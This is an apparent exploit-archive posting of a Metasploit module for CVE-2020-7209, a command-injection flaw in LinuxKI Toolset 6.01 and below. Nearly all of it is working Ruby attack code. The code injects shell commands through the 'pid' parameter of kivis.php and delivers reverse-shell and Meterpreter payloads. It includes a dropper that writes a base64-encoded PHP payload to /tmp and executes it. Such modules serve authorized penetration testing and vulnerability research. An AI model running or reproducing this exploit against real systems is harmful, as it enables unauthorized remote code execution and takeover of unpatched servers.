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LinuxKI Toolset 6.01 Remote Command Execution

LinuxKI Toolset 6.01 Remote Command Execution
Posted Jun 10, 2020
Authored by numan turle, Cody Winkler | Site metasploit.com

This Metasploit module exploits a vulnerability in LinuxKI Toolset versions 6.01 and below which allows remote code execution. The kivis.php pid parameter received from the user is sent to the shell_exec function, resulting in the security vulnerability.

tags | exploit, remote, php, code execution
advisories | CVE-2020-7209
MD5 | cd78cc0c010d3ea09c0e4662335d84a3

LinuxKI Toolset 6.01 Remote Command Execution

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::PhpEXE
include Msf::Exploit::FileDropper
include Msf::Exploit::CmdStager

def initialize(info = {})
super(
update_info(
info,
'Name' => 'LinuxKI Toolset 6.01 Remote Command Execution',
'Description' => %q{
This module exploits a vulnerability in LinuxKI Toolset <= 6.01 which allows remote code execution.
The kivis.php pid parameter received from the user is sent to the shell_exec function, resulting in security vulnerability.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Cody Winkler', # discovery and poc
'numan türle' # msf exploit
],
'References' =>
[
['EDB', '48483'],
['CVE', '2020-7209'],
['PACKETSTORM', '157739'],
['URL', 'https://github.com/HewlettPackard/LinuxKI/commit/10bef483d92a85a13a59ca65a288818e92f80d78']
],
'Privileged' => false,
'Platform' => ['php', 'unix', 'linux'],
'Arch' => [ARCH_PHP, ARCH_CMD, ARCH_X86, ARCH_X64],
'Targets' =>
[
[
'Automatic (PHP In-Memory)',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Type' => :php_memory,
'Payload' => { 'BadChars' => "'" },
'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' }
],
[
'Automatic (PHP Dropper)',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Type' => :php_dropper,
'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' }
],
[
'Automatic (Unix In-Memory)',
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_memory,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }
],
[
'Automatic (Linux Dropper)',
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper,
'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' }
]
],
'DisclosureDate' => 'May 17 2020',
'DefaultTarget' => 0
)
)

register_options([
OptString.new('TARGETURI', [true, 'The path to the web application', '/']),
])
register_advanced_options([
OptBool.new('ForceExploit', [false, 'Override check result', false]),
OptString.new('WritableDir', [true, 'Writable dir for droppers', '/tmp'])
])
end

def check
findstr = rand_str
res = execute_command("echo '#{findstr}'")
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") if (res.code == 404) || (res.code == 403)
if (res.code == 200) && res.body.include?(findstr)
return CheckCode::Vulnerable
end

CheckCode::Safe
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
end

def execute_command(cmd, _opts = {})
send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'linuxki/experimental/vis/', 'kivis.php'),
'vars_get' => {
'type' => 'kitrace',
'pid' => "1;#{cmd};"
}
})
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
end

def exploit
unless datastore['ForceExploit']
if check == CheckCode::Safe
fail_with(Failure::NotVulnerable, 'Set ForceExploit to override')
end
end

print_status("Executing #{target.name} target")

print_status('Sending payload...')

case target['Type']
when :php_memory
execute_command("php -r '#{payload.encoded}'")
when :unix_memory
execute_command(payload.encoded)
when :linux_dropper
execute_cmdstager(linemax: 1_500)
when :php_dropper
dropper
end

end

def dropper
php_file = "#{rand_str}.php"
tmp_file = Pathname.new(
"#{datastore['WritableDir']}/#{php_file}"
).cleanpath

dropper = get_write_exec_payload(
writable_path: datastore['WritableDir'],
unlink_self: true # Worth a shot
)

dropper = Rex::Text.encode_base64(dropper)

register_file_for_cleanup(tmp_file)

execute_command("echo #{dropper} | base64 -d | tee #{tmp_file}")
execute_command("php #{tmp_file}")
end

def rand_str
Rex::Text.rand_text_alphanumeric(8..42)
end
end
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